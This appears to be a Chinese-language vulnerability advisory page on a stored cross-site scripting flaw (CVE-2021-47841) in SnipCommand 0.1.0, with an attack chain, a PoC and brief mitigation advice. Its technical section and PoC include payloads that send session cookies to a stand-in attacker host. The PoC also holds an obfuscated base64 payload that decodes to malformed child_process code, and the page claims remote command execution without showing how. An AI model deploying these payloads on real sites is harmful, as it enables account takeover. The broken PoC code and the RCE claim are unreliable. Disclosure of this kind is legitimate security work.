IPBUF安全漏洞报告
English
CVE-2021-47841 CVSS 6.1 中危

CVE-2021-47841 SnipCommand存储型跨站脚本漏洞

披露日期: 2026-01-16

漏洞信息

漏洞编号
CVE-2021-47841
漏洞类型
存储型跨站脚本(XSS)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
SnipCommand 0.1.0

相关标签

存储型XSS跨站脚本SnipCommandCVE-2021-47841命令片段管理远程代码执行中危漏洞

漏洞概述

SnipCommand 0.1.0版本存在存储型跨站脚本漏洞,攻击者可以通过命令片段的标题或文件输入字段注入恶意JavaScript代码。由于该漏洞为存储型,恶意载荷会被永久保存在服务器端或应用程序数据库中,所有访问包含恶意内容的页面用户都会受到攻击。攻击者利用此漏洞可以窃取用户会话cookie、劫持用户账号、进行钓鱼攻击,甚至通过诱导用户执行特定操作触发远程命令执行。该漏洞的CVSS评分为6.1,属于中危级别,攻击复杂度低但需要用户交互,攻击者可通过网络远程利用此漏洞。

技术细节

SnipCommand是一款命令片段管理工具,0.1.0版本在处理用户输入的标题(title)和文件(file)字段时未进行充分的输入验证和输出编码。攻击者可以在这些字段中插入恶意JavaScript代码,如:<script>alert(document.cookie)</script>或<img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)>等Payload。由于应用未对用户输入进行HTML实体编码直接存储并回显到页面,恶意脚本会在其他用户访问该命令片段时被浏览器执行。攻击者利用存储型XSS配合社会工程学技术,可以诱导管理员或普通用户执行进一步的操作,从而实现远程代码执行。漏洞利用需要攻击者创建或修改命令片段,诱使其他用户访问恶意内容页面。

攻击链分析

STEP 1
步骤1:信息收集
攻击者访问SnipCommand应用,识别可注入恶意代码的输入字段(标题和文件输入)
STEP 2
步骤2:Payload注入
攻击者在命令片段的标题或文件字段中注入恶意JavaScript代码,如<script>标签或事件处理器属性
STEP 3
步骤3:存储与持久化
恶意载荷被未经过滤地存储到数据库中,成为持久性威胁
STEP 4
步骤4:诱导访问
攻击者通过社交工程手段诱导受害者(管理员或普通用户)访问包含恶意代码的命令片段页面
STEP 5
步骤5:脚本执行
受害者的浏览器解析页面时执行恶意JavaScript,攻击者获取用户会话cookie或执行进一步攻击
STEP 6
步骤6:权限提升与RCE
攻击者利用窃取的会话或诱导用户执行特定操作,触发远程命令执行

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// SnipCommand Stored XSS PoC // Target: SnipCommand 0.1.0 // Payload: Inject malicious JavaScript via title or file input fields const vulnerablePayload = { title: '<script>fetch("https://attacker.com/log?cookie="+document.cookie)</script>', file: '<img src=x onerror="eval(atob(\'cmVxdWlyZShcImNoaWxkX3Byb2Nlc3NcIikuc3Bhd25cImNhbGNcIiwiY2FsYyAtZSAnL3RtcC9zaGVsbC5zaCcpXCJcbnt9XCJcbi5leGVjKClcblxuY29uc3Qgc2hlbGwgPSByZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlY3VUeXBlKCdjYWxjJyk7XG5zaGVsbC5zdGRvdXQuZW5kKCdjbG9zZScpO1xu\'))">', command: 'echo "Test Command"' }; // Attack chain: // 1. Attacker injects XSS payload through title/file fields // 2. Payload is stored in database without sanitization // 3. Victim views the command snippet // 4. Malicious JavaScript executes in victim's browser // 5. Attacker steals session cookies or executes further attacks

影响范围

SnipCommand 0.1.0

防御指南

临时缓解措施
在厂商发布修复补丁前,建议对所有用户输入实施严格的输入验证和输出编码,对显示用户内容的页面启用Content-Security-Policy限制脚本执行,并监控应用日志中的可疑请求模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表